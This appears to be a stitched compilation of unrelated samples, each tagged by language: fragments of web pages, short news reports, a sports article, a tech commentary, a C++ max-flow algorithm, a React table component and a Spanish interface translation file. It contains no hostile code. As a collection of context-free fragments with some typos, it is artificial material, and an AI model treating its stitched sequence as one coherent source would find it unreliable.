Visits</li> <li><strong>3&nbsp;</strong>Field Trips</li> <li><strong>90&nbsp;</strong>Minute Sessions</li> <li>24/7 Trainer Support</li> </ul> <div><a class="btn btn-primary" href="#">Subscribe</a></div> </li> </ul> </div> <div class="container"> <ul class="price-tbl"> <li class="tbl-block"> <h3>Death Grip</h3> <div class="price"><span>30.99</span>&nbsp; Per Month</div> <ul class="features"> <li> <strong>All&nbsp;</strong>Sized Feels</li> <li> <strong>4&nbsp;</strong>Pet Friend(s)</li> <li><strong>8&nbsp;</strong>Monthly Visits</li> <li><strong>4&nbsp;</strong>Field Trips</li> <li><strong>120&nbsp;</strong>Minute Sessions</li> <li>24/7 Trainer Support</li> </ul> <div><a class="btn btn-primary" href="#">Subscribe</a></div> </li> </ul> </div> </div> </section> <p>*Furry Feels does not discriminate against any specicies or breed. As long as they pass our assesment, they can work with us.*</p> </main> <footer> <ul class="nav justify-content-center"> <li class="nav-item"><a class="nav-link active" href="#">Privacy</a></li> <li class="nav-item"><a class="nav-link" href="#">Terms</a></li> <li class="nav-item"><a class="nav-link" href="#">Contact</a></li> </ul> <p class="text-center">Copyright &copy;&nbsp;2017 Furry Feels Therapy (a Twin Paw company).</p> </footer> <!-- partial --> <script src='https://cdn.freecodecamp.org/testable-projects-fcc/v1/bundle.js'></script> <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js'></script> <script src="./script.js"></script> </body> </html>
html
A man with a knife attacked a school in Slovakia on Thursday, killing one person and wounding at least five before he was killed by police, authorities said. The attack took place at the United School in the town of Vrutky in northwestern Slovakia on Thursday morning. The establishment operates for children from elementary age up to high school. The victim was the deputy director of the high school, authorities said. The attacker was identified as a 22-year-old man from the nearby town of Martin. The Slovak rescue service said three adults and two students were treated in a hospital in Martin but didn’t immediately reveal more details.
english
<filename>stapl_release/stapl/containers/graph/algorithms/preflowpush.hpp /* // Copyright (c) 2000-2009, Texas Engineering Experiment Station (TEES), a // component of the Texas A&M University System. // All rights reserved. // The information and source code contained herein is the exclusive // property of TEES and may not be disclosed, examined or reproduced // in whole or in part without explicit written authorization from TEES. */ #include <stapl/runtime.hpp> #include <stapl/containers/graph/algorithms/paradigms/graph_paradigm.hpp> #include <stapl/containers/graph/graph.hpp> #include <stapl/containers/graph/views/graph_view.hpp> #include <stapl/containers/graph/algorithms/properties.hpp> #include <stapl/algorithms/algorithm.hpp> #include <stapl/views/repeated_view.hpp> #include <stapl/utility/tuple.hpp> #include <algorithm> #include <iostream> namespace stapl { namespace preflow_push_impl { ////////////////////////////////////////////////////////////////////// /// @brief Functor used to print an edge and its properties. /// @param vd Vertex descriptor of the edge owner. /// @param edge Edge being printed. ////////////////////////////////////////////////////////////////////// template<typename E> void print_edge(size_t vd, E edge) { std::cout << "(" << vd << ", " << edge.target() << ") --> RC: " << edge.property().rc() << ", H: " << edge.property().height() << std::endl; } ////////////////////////////////////////////////////////////////////// /// @brief Functor used to print a vertex and its properties. /// @param vertex Vertex that performs operation. ////////////////////////////////////////////////////////////////////// template <typename Vertex> void print_vertex(Vertex v) { std::cout << "-- V: " << v.descriptor() << ", H: " << v.property().height() << ", E: " << v.property().excess() << ", MSGS: " << v.property().msgs() << "." << std::endl; for (auto ii = v.begin(); ii != v.end(); ++ii) print_edge((*ii)); } ////////////////////////////////////////////////////////////////////// /// @brief Functor used to print a message that is being sent. /// @param msg Message to print /// @param process Flag to indicate whether the message is an push /// message or a reject message. ////////////////////////////////////////////////////////////////////// template <typename Message> void print_message(Message msg, int process) { std::cout << "(" << msg.sender_vd() << ", " << msg.receiver_vd() << ") --> " << "ProcessFlag: " << process << ", Flow: " << msg.flow() << ", SendersHeight: " << msg.height() << std::endl; } ////////////////////////////////////////////////////////////////////// /// @brief Functor used to print flows of the graph. /// @ingroup pgraphAlgoDetails ////////////////////////////////////////////////////////////////////// struct print_flows { typedef void result_type; template <typename Vertex> result_type operator()(Vertex v) { for (auto const& e : v) print_edge(v.descriptor(), e); } }; ////////////////////////////////////////////////////////////////////// /// @brief Functor that adds backward edges on the flow network. /// Backward edges are used to send excess flow backwards to source, /// after flow is maximal at sink. /// @ingroup pgraphAlgoDetails ////////////////////////////////////////////////////////////////////// struct add_backward_edges { typedef void result_type; template <typename Vertex, typename GraphView> result_type operator()(Vertex v, GraphView gView) { for (auto const& e : v) { gView.add_edge(e.target(), v.descriptor(), stapl::properties::preflowpush_edge_property(0, true, 0)); } } }; ////////////////////////////////////////////////////////////////////// /// @brief Visitor functor for init graph. /// /// Sets height and flow properties on vertices adjacent to sink of /// flow network. /// @ingroup pgraphAlgoDetails ////////////////////////////////////////////////////////////////////// struct update_init_graph { public: typedef stapl::properties::message message_type; message_type m_msg; update_init_graph(void) : m_msg() { } update_init_graph(message_type msg) : m_msg(msg) { } typedef bool result_type; template <typename Vertex> result_type operator ()(Vertex&& target) const { target.property().inc_ex(m_msg.flow()); auto ii = target.begin(); auto ee = target.end(); for (; ii != ee; ++ii) { if (m_msg.sender_vd() == (*ii).target()) { (*ii).property().height(m_msg.height()); (*ii).property().inc_rc(m_msg.flow()); } } return true; } void define_type(stapl::typer& t) { t.member(m_msg); } }; ////////////////////////////////////////////////////////////////////// /// @brief Work function of graph paradigm used for setting up preflow /// properties in edges and nodes. /// /// @ingroup pgraphAlgoDetails /// @tparam GraphView View of the graph. ////////////////////////////////////////////////////////////////////// template <typename GraphView> struct init_graph { public: size_t m_source; size_t m_sink; init_graph(size_t source=0, size_t sink=0) : m_source(source), m_sink(sink) { } typedef bool result_type; template <typename Vertex, typename GraphVisitor> result_type operator()(Vertex&& v, GraphVisitor&& graph_visitor) const { typedef stapl::properties::message message_type; if (v.descriptor() == m_source) { v.property().height(int(m_sink+1)); v.property().excess(0); auto it = v.begin(); auto ee = v.end(); for (; it != ee; ++it) { auto amount = (*it).property().rc(); (*it).property().dec_rc(amount); auto edge_tg = (*it).target(); message_type msg(false, amount, v.descriptor(), edge_tg, v.property().height()); graph_visitor.visit(edge_tg, update_init_graph(msg)); } } return false; } void define_type(stapl::typer& t) { t.member(m_source); t.member(m_sink); } }; ////////////////////////////////////////////////////////////////////// /// @brief Function that updates the height to 1 + minimum height of /// neighbors that can accept flow. /// @param v Vertex that is performing the relabel operation. /// @param num_vertices Number of vertices in the graph. ////////////////////////////////////////////////////////////////////// template <typename Vertex> void relabel(Vertex v, int num_vertices) { int min_height = std::numeric_limits<int>::max(); int min_edge = 0; int current_edge = 0; auto ee = v.end(); for (auto ii = v.begin(); ii != ee; ++ii, ++current_edge) { auto target_height = (*ii).property().height(); if ((*ii).property().rc() > 0 && target_height < min_height) { min_height = target_height; min_edge = current_edge; } } ++min_height; if (min_height < num_vertices) { v.property().height(min_height); v.property().stop(min_edge); } else { v.property().height(num_vertices); } } ////////////////////////////////////////////////////////////////////// /// @brief Function that updates the edge properties when a vertex /// receives flow. /// @param v Vertex on which the function is called. /// @param sender_vd Vertex descriptor of the node that sent flow. /// @param height Height of the of the node that sent flow. /// @param flow Amount of flow being received. ////////////////////////////////////////////////////////////////////// template <typename Vertex, typename VertexDescriptor> void update_edge_data(Vertex v, VertexDescriptor sender_vd, int height, double flow) { auto ee = v.end(); for (auto ii = v.begin(); ii != ee; ++ii) if ((*ii).target() == sender_vd) { (*ii).property().height(height); (*ii).property().inc_rc(flow); break; } } ////////////////////////////////////////////////////////////////////// /// @brief Visitor functor for push relabel. /// /// Evaluates the message sent by an active vertex. Either accepts or /// rejects flow based on the height constraint. /// @ingroup pgraphAlgoDetails ////////////////////////////////////////////////////////////////////// struct update_push { public: typedef stapl::properties::message message_type; message_type m_msg; int m_process; size_t m_source; size_t m_sink; update_push(void) : m_msg(), m_process(0), m_source(), m_sink() { } update_push(message_type msg, int process, size_t source, size_t sink) : m_msg(msg), m_process(process), m_source(source), m_sink(sink) { } typedef bool result_type; template <typename Vertex> result_type operator()(Vertex&& target) const { auto msg_height = m_msg.height(); auto msg_flow = m_msg.flow(); if (target.descriptor() != m_sink) { if (m_process == 0) { if (msg_height == target.property().height()+1) { if (target.descriptor() != m_source) target.property().inc_ex(msg_flow); update_edge_data<Vertex, message_type::vd_type>(target, m_msg.sender_vd(), msg_height, msg_flow); } else { message_type msg(false, msg_flow, target.descriptor(), m_msg.sender_vd(), target.property().height()); target.property().add_msg(msg); } } else if (m_process == 1) { if (m_msg.response() == false) { if (target.descriptor() != m_source) target.property().inc_ex(msg_flow); update_edge_data<Vertex, message_type::vd_type>(target, m_msg.sender_vd(), msg_height, msg_flow); } } else if (m_process == 2) { auto ii = target.begin(); auto ee = target.end(); for (; ii != ee; ++ii) { if (m_msg.sender_vd() == (*ii).target()) (*ii).property().height(msg_height); } } } else { target.property().inc_ex(msg_flow); update_edge_data<Vertex, message_type::vd_type>(target, m_msg.sender_vd(), msg_height, msg_flow); } return false; } void define_type(stapl::typer& t) { t.member(m_msg); t.member(m_process); t.member(m_source); t.member(m_sink); } }; ////////////////////////////////////////////////////////////////////// /// @brief Work function of push_relabel algorithm. /// /// Pushes flow to admissible edges and initiates visits to neighboring /// vertices who will become active on the next iteration of graph paradigm. /// @ingroup pgraphAlgoDetails /// @param m_num_vertices Number of vertices in the graph. /// @param m_source Flow network source. /// @param m_sink Flow network sink. ////////////////////////////////////////////////////////////////////// struct push_relabel { public: size_t m_num_vertices; size_t m_source; size_t m_sink; push_relabel(size_t num_vertices=0, size_t source=0, size_t sink=0) : m_num_vertices(num_vertices), m_source(source), m_sink(sink) { } typedef bool result_type; ////////////////////////////////////////////////////////////////////// /// @param v Vertex that performs the work function. /// @param graph_visitor Mechanism used to visit neighboring vertices. ////////////////////////////////////////////////////////////////////// template <typename Vertex, typename GraphVisitor> result_type operator()(Vertex&& v, GraphVisitor&& graph_visitor) const { if (v.descriptor() == m_source || v.descriptor() == m_sink) return false; typedef stapl::properties::message message_type; bool another_iteration = false; auto msgs = v.property().msgs(); while (msgs) { auto msg = v.property().get_msg(); graph_visitor.visit(msg.receiver_vd(), update_push(msg, 1, m_source, m_sink)); v.property().pop_msg(); --msgs; another_iteration = true; } while (v.property().excess() > 0) { bool finished = false; int stop = v.property().stop(); auto ii = v.begin(); std::advance(ii, stop); auto ee = v.end(); for (; ii != ee; ++ii, ++stop) { auto edge_cap = (*ii).property().rc(); if (edge_cap == 0) continue; if (v.property().height()-1 != (*ii).property().height()) continue; int amount = std::min(v.property().excess(), edge_cap); v.property().dec_ex(amount); (*ii).property().dec_rc(amount); message_type msg(false, amount, v.descriptor(), (*ii).target(), v.property().height()); graph_visitor.visit((*ii).target(), update_push(msg, 0, m_source, m_sink)); if (v.property().excess() == 0) { finished = true; another_iteration = true; v.property().stop(stop); break; } } if (finished) break; relabel(v, m_num_vertices); if (v.property().height() >= (int) m_num_vertices) break; message_type msg(false, 0, v.descriptor(), 0, v.property().height()); graph_visitor.visit_all_edges(v, update_push(msg, 2, m_source, m_sink)); } return another_iteration; } void define_type(stapl::typer& t) { t.member(m_num_vertices); t.member(m_source); t.member(m_sink); } }; ////////////////////////////////////////////////////////////////////// /// @brief Visitor functor for global relabel. /// /// Updates the height of target vertex with BFS-parent and BFS-level /// information, if the target vertex has not been visited before, or /// if the target's height is greater than the incoming height. /// Updates heights of neighbors stored in heights. /// @tparam VD Type of the vertex-descriptor. /// @ingroup pgraphAlgoDetails ////////////////////////////////////////////////////////////////////// class gr_update { public: int m_parent; int m_height; typedef bool result_type; ////////////////////////////////////////////////////////////////////// /// @param p The BFS-parent of the target vertex. /// @param level The BFS-level of the target vertex. ////////////////////////////////////////////////////////////////////// gr_update(int parent = 0, int level = 0) : m_parent(parent), m_height(level) { } template <class Vertex> result_type operator()(Vertex&& target) const { typedef typename std::decay<Vertex>::type::vertex_descriptor descriptor_t; auto ii = target.begin(); auto ee = target.end(); for (; ii != ee; ++ii) { if ((*ii).target() == (descriptor_t)m_parent) { (*ii).property().height(m_height-1); break; } } if (target.property().height() == 0 || target.property().height() > m_height) { target.property().height(m_height); return true; } return false; } void define_type(typer& t) { t.member(m_parent); t.member(m_height); } }; ////////////////////////////////////////////////////////////////////// /// @brief Work function for global relabel algorithm. /// /// Sets heights of residual paths in BFS manner for flow to reach /// sink in smallest number of hops. /// @ingroup pgraphAlgoDetails /// @param v A vertex in the graph. /// @param graph_visitor Mechanism used to visit neighboring vertices. ////////////////////////////////////////////////////////////////////// struct gr_wf { typedef bool result_type; template<class Vertex, class GraphVisitor> result_type operator()(Vertex&& v, GraphVisitor&& graph_visitor) const { typedef typename Vertex::vertex_descriptor descriptor_t; if (v.property().height() == (int)graph_visitor.level()) { for (auto const& e : v) { if (e.property().backward() && e.property().rc() == 0) { graph_visitor.visit(e.target(), gr_update(v.descriptor(), v.property().height()+1)); } } // if v is active. return true; } return false; } }; ////////////////////////////////////////////////////////////////////// /// @brief Sets heghts of vertices in BFS manner. /// @ingroup pgraphAlgoDetails /// @param gView View of the graph. /// @param source BFS source. /// @param async Maximum value of asynchrony allowed in each phase. ////////////////////////////////////////////////////////////////////// template<class GView> size_t global_relabel(GView& g, typename GView::vertex_descriptor const& source, size_t k=0) { return graph_paradigm(gr_wf(), gr_update(), g); // , k); } } // preflow_push_impl ////////////////////////////////////////////////////////////////////// /// @brief Initializes the properties of vertices and edges for /// the preflow push algorithm, and calculates the max flow in the /// graph. /// /// @note This algorithm mutates the graph by adding reverse edges. /// /// @ingroup pgraphAlgo /// @param gView View of the graph. /// @param source Source of the flow network. /// @param sink Sink of the flow network. /// @param async Level of asynchrony to use for the graph paradigm. ////////////////////////////////////////////////////////////////////// template <typename GraphView> stapl::tuple<double, double, double, double> preflow_push(GraphView& gView, size_t source, size_t sink, int async) { using namespace preflow_push_impl; stapl::counter<stapl::default_timer> init_paradigm; stapl::counter<stapl::default_timer> pr_paradigm; stapl::counter<stapl::default_timer> global_relabel_time; map_func(add_backward_edges(), gView, stapl::make_repeat_view(gView)); global_relabel_time.start(); global_relabel(gView, sink); double gl_time = global_relabel_time.stop(); init_paradigm.start(); graph_paradigm(init_graph<GraphView>(source, sink), update_init_graph(), gView); double init_time = init_paradigm.stop(); pr_paradigm.start(); graph_paradigm(push_relabel(gView.num_vertices(), source, sink), update_push(), gView, async); double pr_time = pr_paradigm.stop(); return stapl::make_tuple(gl_time, init_time, pr_time, gView[sink].property().excess()); } } // namespace stapl
cpp
Robert Lewandowski left Bayern Munich after eight years to join Barcelona in this year's summer transfer window, which has led to several fans believe the club can end its La Liga and Champions League title drought. But what does the Polish superstar think? Read on: Robert Lewandowski's debut for Barcelona may not have been the best, as the La Liga giants drew 0-0 with Rayo Vallecano at Camp Nou. Still, the Polish superstar is confident that success is in the cards. Barcelona had high hopes after a summer of bright signings and impressive preseason performances. Still, the draw against Rayo Vallecano served as a sharp reminder that football is more complicated than just bringing in good players. Lewandowski, who joined Barcelona after eight years of steady success with Bayern Munich, is undoubtedly the brightest of those signings. The 33-year-old striker believes the Catalan club will end its title drought. "I think too much time has passed for Barcelona without them winning a title. I am sure that we are going to win [titles]," Lewandowski said in an interview with La Liga World. Although the Blaugrana did win the Copa del Rey in 2021, it is essential to note that Lewandowski is unmistakably focusing on La Liga and the Champions League. Not since Ernesto Valverde delivered the 2018-19 La Liga crown have Barcelona outlasted Atletico Madrid and Real Madrid. Lewandowski also went on to say that he never had any doubt about joining Xavi Hernandez's team. "When I found out Barcelona were interested in bringing me to the club, I was thinking the whole time that it was the perfect moment, for me and for the club," the Poland international added. With recent reinforcement, the difficulty could hardly be greater. Barcelona will have to knock the European Champions off the top spot, powered by the likely Ballon d'Or winner Karm Benzema. At least Lewandowski should provide Barcelona with a finisher who can match Lionel Messi's efficiency in front of the goal, which was severely lacking in the previous year.
english
Bengaluru : Two people were killed on the spot and two others injured after an overhead water tank came crashing down from the fourth floor of a building in Bengaluru, police said. The incident took place in the limits of Shivajinagar police station late Wednesday night. Of the two victims, one had been identified as 40-year-old Arul, while the second is yet to be named. According to the police, Arul ran a fast-food cart adjacent to the building. The wall on which the water tank was placed had weakened over a period of time. Along with the tank, aportion of the wall in the building also collapsed. Two injured persons, of which one is said to be in a seious condition, have been shifted to a hospital. East Division DCP Bheema Shankar Guled said the building is close to the Shivajinagar bus terminal and preliminary probe suggested that the tank was placed overhear without any intial checks. The guilty will be punished after the investigation, he added.
english
When you own domain names associated with the trademarks of a large company, more often than not, they’re going to file a complaint with the ICANN UDRP (Uniform Domain-Name Dispute-Resolution Policy). And more often than not, they’re going to win control of the name. Such was the case yesterday with 16 names related to Apple that one man happened to own. Specifically, Daniel Bijan, a Los Angeles-based “mega producer, singer, and entrepreneur,” owned 16 domains that Apple wanted. Apple filed a complaint to UDRP in November, and won the rights to all of them yesterday. The domains are all related to iPods, iPod accessories, iPhones, iPhone accessories, Macs, and MacBooks, with the crown jewel being macbookpro.com. According to the court document, Bijan didn’t even bother to submit a response to Apple’s complaint, so it was an easy call. But Apple was likely to get the names anyway since it owns the trademarks on iPod, iPhone, MacBook, and Mac. Apple argued that each of the domains was “confusingly similar” to Apple’s trademarks. Others, Apple claimed Bijan was using in “bad faith” as he was forwarding them to pages that featured products which compete with Apple’s own. Bijan had registered the names between 2006 and 2009 at various times. Beyond the macbookpro.com name, none seem particularly interesting. There are none, for example, that point to a new supposed Apple product, such as the “iSlate” names we dug into a few weeks ago. Here’s a full list of the domains Apple now owns with the win:
english
<filename>src/components/Policy/Table/PolicyTable.tsx import * as React from 'react'; import { expandable, IActions, IActionsResolver, ICell, IRow, IRowData, ISortBy, sortable, SortByDirection, Table, TableBody, TableHeader } from '@patternfly/react-table'; import { Bullseye, Button, ButtonVariant, EmptyState, EmptyStateBody, EmptyStateIcon, EmptyStateVariant, Radio, Title } from '@patternfly/react-core'; import { SkeletonTable } from '@redhat-cloud-services/frontend-components'; import { Policy } from '../../../types/Policy'; import { CheckCircleIcon, OffIcon } from '@patternfly/react-icons'; import { Direction, Sort } from '../../../types/Page'; import { ExpandedContent } from './ExpandedContent'; import { IconType } from '@patternfly/react-icons/dist/js/createIcon'; import { Messages } from '../../../properties/Messages'; import { assertNever } from '../../../utils/Assert'; import { ActionsCell } from './ActionsCell'; type OnSelectHandlerType = (policy: PolicyRow, index: number, isSelected: boolean) => void; interface PolicyTableProps { actions?: IActions; error?: ErrorContentProps; loading?: boolean; loadingRowCount?: number; onSort?: (index: number, column: string, direction: Direction) => void; onCollapse?: (policy: PolicyRow, index: number, isOpen: boolean) => void; onSelect?: OnSelectHandlerType; policies?: PolicyRow[]; sortBy?: Sort; httpStatus?: number; columnsToShow?: ValidColumns[]; } export interface ErrorContentProps { icon: IconType; iconColor?: string; title: string; content: string; action?: () => void; actionLabel?: string; } export type PolicyRow = Policy & { isOpen: boolean; isSelected: boolean; }; export type ValidColumns = 'name' | 'actions' | 'is_enabled' | 'radioSelect'; const defaultColumnsToShow: ValidColumns[] = [ 'name', 'actions', 'is_enabled' ]; const ErrorContent: React.FunctionComponent<ErrorContentProps> = (props) => { return ( <> <EmptyStateIcon icon={ props.icon } color={ props.iconColor }/> <Title headingLevel="h2" size="lg">{ props.title }</Title> <EmptyStateBody>{ props.content }</EmptyStateBody> { props.action && props.actionLabel && ( <Button variant={ ButtonVariant.primary } onClick={ props.action }>{ props.actionLabel } </Button> ) } </> ); }; const errorRow = (props: ErrorContentProps): IRow[] => [{ heightAuto: true, showSelect: false, cells: [ { props: { colSpan: 8 }, title: ( <Bullseye> <EmptyState variant={ EmptyStateVariant.small }> <ErrorContent { ...props }/> </EmptyState> </Bullseye> ) } ] }]; const policiesToRows = (policies: PolicyRow[] | undefined, columnsToShow: ValidColumns[], onSelect?: OnSelectHandlerType): IRow[] => { if (policies) { return policies.reduce((rows, policy, idx) => { rows.push({ id: policy.id, key: policy.id, isOpen: policy.isOpen, selected: policy.isSelected, cells: columnsToShow.map(column => { switch (column) { case 'actions': return <><ActionsCell actions={ policy.actions }/></>; case 'is_enabled': return policy.isEnabled ? <><CheckCircleIcon color="green"/></> : <><OffIcon /></>; case 'name': return policy.name; case 'radioSelect': return <> <Radio id={ `${policy.id}-table-radio-id` } aria-label={ `Radio select for policy ${policy.name}` } name={ `policy-table-radio-select` } isChecked={ policy.isSelected } onChange={ !onSelect ? undefined : () => { const selectedIndex = policies.findIndex(policy => policy.isSelected); onSelect(policies[selectedIndex], selectedIndex, false); onSelect(policy, idx, true); } } /> </>; } assertNever(column); }) }); rows.push({ parent: idx * 2, // Every policy has two rows, the "row" and the "expanded row" fullWidth: true, showSelect: false, cells: [ <> <ExpandedContent key={ policy.id + '-content' } description={ policy.description ? policy.description : Messages.tables.policy.emptyState.noDescription } conditions={ policy.conditions ? policy.conditions : Messages.tables.policy.emptyState.noConditions } actions={ policy.actions } created={ new Date(2020, 1, 19) } updated={ policy.mtime } /> </> ] }); return rows; }, [] as IRow[]); } return []; }; type Cell = ICell & { column?: string; }; const indexForColumn = (column: string, columns: Cell[], namedColumns: Record<string, Cell>, columnOffset: number) => { return columns.indexOf(namedColumns[column]) + columnOffset; }; const columnNameForIndex = (index: number, columns: Cell[], columnOffset: number) => { return columns[index - columnOffset].column; }; export const PolicyTable: React.FunctionComponent<PolicyTableProps> = (props) => { const { onSort, error, policies, onCollapse, onSelect } = props; const columnsToShow = props.columnsToShow || defaultColumnsToShow; const usesRadioSelect = columnsToShow.includes('radioSelect'); if (usesRadioSelect && !onSelect) { throw Error('RadioSelect requires an onSelect'); } const namedColumns: Record<ValidColumns, Cell> = React.useMemo(() => { const transformSortable = onSort ? [ sortable ] : []; return { radioSelect: { title: '', transforms: [ ] }, name: { title: Messages.tables.policy.columns.name, transforms: transformSortable, cellFormatters: [ expandable ], column: 'name' }, actions: { title: Messages.tables.policy.columns.triggerActions, transforms: [ ] }, is_enabled: { title: Messages.tables.policy.columns.lastTriggered, transforms: transformSortable, column: 'is_enabled' } }; }, [ onSort ]); const columnOffset = React.useMemo( () => [ onCollapse, onSelect || columnsToShow.includes('radioSelect') ].filter(element => element).length, [ onCollapse, onSelect, columnsToShow ] ); const columns: Cell[] = React.useMemo(() => columnsToShow.map(column => namedColumns[column]), [ namedColumns, columnsToShow ]); const onSortHandler = React.useCallback((_event, index: number, direction: SortByDirection) => { if (onSort) { const column = columnNameForIndex(index, columns, columnOffset); if (column) { onSort(index, column, direction === SortByDirection.asc ? Direction.ASCENDING : Direction.DESCENDING); } } }, [ onSort, columns, columnOffset ]); const onCollapseHandler = React.useCallback((_event, _index: number, isOpen: boolean, data: IRowData) => { const index = policies?.findIndex(policy => policy.id === data.id); if (onCollapse && policies && index !== undefined && index !== -1) { const policy = policies[index]; onCollapse(policy, index, isOpen); } }, [ policies, onCollapse ]); const onSelectHandler = React.useCallback((_event, isSelected: boolean, _index: number, data: IRowData) => { const index = policies?.findIndex(policy => policy.id === data.id); if (onSelect && policies && index !== undefined && index !== -1) { const policy = policies[index]; onSelect(policy, index, isSelected); } }, [ policies, onSelect ]); const sortBy = React.useMemo<ISortBy | undefined>(() => { if (props.sortBy) { return { index: indexForColumn(props.sortBy.column, columns, namedColumns, columnOffset), direction: props.sortBy.direction === Direction.ASCENDING ? 'asc' : 'desc' }; } return undefined; }, [ props.sortBy, columns, namedColumns, columnOffset ]); const actions = React.useMemo(() => props.error || props.loading ? [] : props.actions || [], [ props.error, props.loading, props.actions ]); const actionsResolver: IActionsResolver = React.useCallback((rowData) => { if (rowData.parent === undefined) { return actions; } return []; }, [ actions ]); const rows = React.useMemo( () => error ? errorRow(error) : policiesToRows(policies, columnsToShow, onSelect), [ error, policies, columnsToShow, onSelect ] ); if (props.loading) { return ( <SkeletonTable rowSize={ props.loadingRowCount || 10 } columns={ columns } /> ); } return ( <Table aria-label={ Messages.tables.policy.title } cells={ columns } rows={ rows } actionResolver={ actionsResolver } onSort={ onSort ? onSortHandler : undefined } onCollapse={ onCollapse ? onCollapseHandler : undefined } onSelect={ !props.error && onSelect && !usesRadioSelect ? onSelectHandler : undefined } sortBy={ sortBy } canSelectAll={ false } > <TableHeader/> <TableBody/> </Table> ); };
typescript
Where in the world is Putin? Despite official insistence of business as usual at the Kremlin, Russian President Vladimir Putin, who has not been seen in public since 5 March, is the target of social media satirists wondering where he might be. Fantastical theories circulating online suggest that the 62-year-old Kremlin leader has died, been deposed, or travelled to Switzerland to watch his girlfriend give birth. The rumours were fueled by the government's 11 March release of photos of a meeting between Putin and a regional governor that turned out to be taken the previous week. Ukrainian children even produced a cartoon showing Putin abducted from the Kremlin by aliens. The hashtag #putinumer (putin died) began trending on Twitter, and a website, putinumer. com, offered readers advice on how to gauge whether the rumours were true. Putin is normally ubiquitous in state media, but his silence over the last nine days has fed speculation of a threat to his grip on power. While hard facts are scarce, there has been talk of a split between rival Kremlin camps since the killing of opposition politician Boris Nemtsov near Red Square on 27 February. A Ukrainian website carried a cartoon of Putin lying alongside Soviet state founder Vladimir Lenin in his Red Square mausoleum, and mocked-up pictures of Putin on his deathbed or lying in an open coffin. While Putin is a target of satire, he remains by far Russia’s most popular politician and has enjoyed a surge in patriotic support since annexing Crimea from Ukraine last year. The head of pro-Kremlin polling firm VTSIOM said on Friday that his approval rating had hit an all-time high of 88%. RIA news agency separately quoted Peskov as denying that Putin had become a father again—a response to a flurry of speculation that former Olympic gymnast Alina Kabayeva had given birth in Switzerland. The Kremlin has regularly denied speculation of a romantic relationship between Kabayeva and Putin, who formally divorced his wife Lyudmila in 2014. In a country where the president dominates state media, demonstrations are tightly controlled and Kremlin opponents risk arrest, fines, prosecution or, in Nemtsov’s case, death, the Internet has become the most effective outlet for dissent. In a surreal YouTube video which had been viewed more than 93,000 times by Friday evening, two men in camouflage uniforms are shown walking through a rubble-strewn landscape past Putin’s gravestone, carrying a TV screen showing wild Cossack dancing. Theories sprang up to explain why the president this week postponed a meeting with the leader of Kazakhstan—one suggested he was meeting Muammar Gaddafi and Hugo Chavez, the deceased Libyan and Venezuelan leaders. A spokesman for President Barack Obama was asked aboard Air Force One whether the US government had any information on Putin’s whereabouts or whether Obama had been briefed.
english
Om Malik, founder of GigaOM, writes: The present isn’t as interesting to most of us who live here, mostly because that would mean accepting the status quo. Instead, guys like Mark Zuckerberg and Jack Dorsey want to rearrange the world to fit the future they want to live in. I think Om is stating the obvious. To be innovative you have to search out the cracks, challenge the way things are accepted today. It’s a task that is often done best by outsiders. Journalists would never have invented news aggregators, “What, republish other people’s news story headlines?” Never. Journalists are taught to get the whole story first. You’d get kicked out of every newsroom in the country, and into Sunday, if you had proposed doing that. But outsiders did do those things and more, and in the process helped to remake journalism and that’s to be celebrated because we now have a hugely inventive, creative medium. Now we can do things with digital media that have never, ever been done before. The media sector is by far the most creative and inventive sector there is, I challenge anyone to show me another. And we’ve only just begun. Outsiders are really important to disruption in every industry because they aren’t constrained by rules, by the rules of the present. Because they don’t know what those rules are, they don’t know what *can’t* be done, so they try everything. I disagree with Om when he seems to say that successful entrepreneurs are able to bend the future to a personal will, that they seek ”to rearrange the world to fit the future they want to live in.” I don’t think that’s the way these things work. The world is too big to conform to anyone’s will. The best innovators see the beauty of David in a block of marble ... and figure out how to free him. Execution is really important; it’s the hammer and chisel of creativity and it’s how anything of value is made.
english
<p>Id: 386</p> <p>Name: <NAME></p> <p>Status: Dead</p> <p>Species: Alien</p> <p>Type: Drumbloxian</p> <p>Gender: Female</p> <p>OriginName: unknown</p> <p>OriginUrl: </p> <p>LocationName: Nuptia 4</p> <p>LocationUrl: https://rickandmortyapi.com/api/location/13</p> <p>Image: https://rickandmortyapi.com/api/character/avatar/386.jpeg</p> <p>Episode: ['https://rickandmortyapi.com/api/episode/13', 'https://rickandmortyapi.com/api/episode/18']</p> <p>Url: https://rickandmortyapi.com/api/character/386</p> <p>Created: 2018-01-10T19:52:40.898Z</p>
html
{ "CoreHome": { "CategoryNoData": "No hay datos en esta categoría. Intentá \"Incluir toda la población\".", "ChangeVisualization": "Cambiar la visualización", "CheckForUpdates": "Buscar actualizaciones", "ClickToEditX": "Hacé clic para editar %s", "ClickToSeeFullInformation": "Hacé clic para ver la información completa", "CloseSearch": "Cerrar búsqueda", "CloseWidgetDirections": "Podés cerrar este widget haciendo clic en el icono \"X\" en la parte superior del widget.", "ChooseX": "Elegí %1$s", "DataForThisReportHasBeenPurged": "Los datos para este informe tienen más de %s meses de antigüedad y han sido eliminados.", "DataTableExcludeAggregateRows": "Se muestran las filas acumuladas %s Ocultarlas", "DataTableIncludeAggregateRows": "Se ocultan las filas agregadas %s Mostrarlas", "DataTableHowToSearch": "Presioná \"Enter\" o hacé clic en el ícono de búsqueda para buscar", "Default": "predeterminado", "DonateFormInstructions": "Hagé clic en el control deslizante para seleccionar una cantidad, luego hagé clic en \"Suscribirse\" para donar.", "ExcludeRowsWithLowPopulation": "Se muestran todas las filas %s Excluir baja población", "ExternalHelp": "Ayuda (se abre en una nueva pestaña)", "FlattenDataTable": "Este informe es jerárquico %s Hacelo plano", "IncludeRowsWithLowPopulation": "Se ocultan las filas con baja población %s Mostrar todas las filas", "VisitStatusOrdered": "Ordenado", "VisitStatusOrderedThenAbandoned": "Ordenado, entonces changuito abandonado", "VisitTypeReturning": "Regresos", "VisitTypeReturningCustomer": "Cliente que vuelve", "MainNavigation": "Navegación principal", "MakeOneTimeDonation": "O hacé una donación por única vez.", "Menu": "Menú", "OnlyForSuperUserAccess": "Este widget se muestra en el panel principal sólo a los usuarios que tengan acceso de súper usuario.", "PeriodRange": "Rango", "ReportGeneratedOn": "Informe generado el %s", "ReportGeneratedXAgo": "Informe generado hace %s", "SharePiwikShort": "Matomo: análisis web gratis y de código abierto. Conservá tus propios datos.", "ShareThis": "Compartilo", "ShowJSCode": "Mostrar el código JavaScript para insertar", "SkipToContent": "Pasar al contenido", "TableNoData": "Sin datos para esta tabla.", "ThereIsNoDataForThisReport": "No hay datos 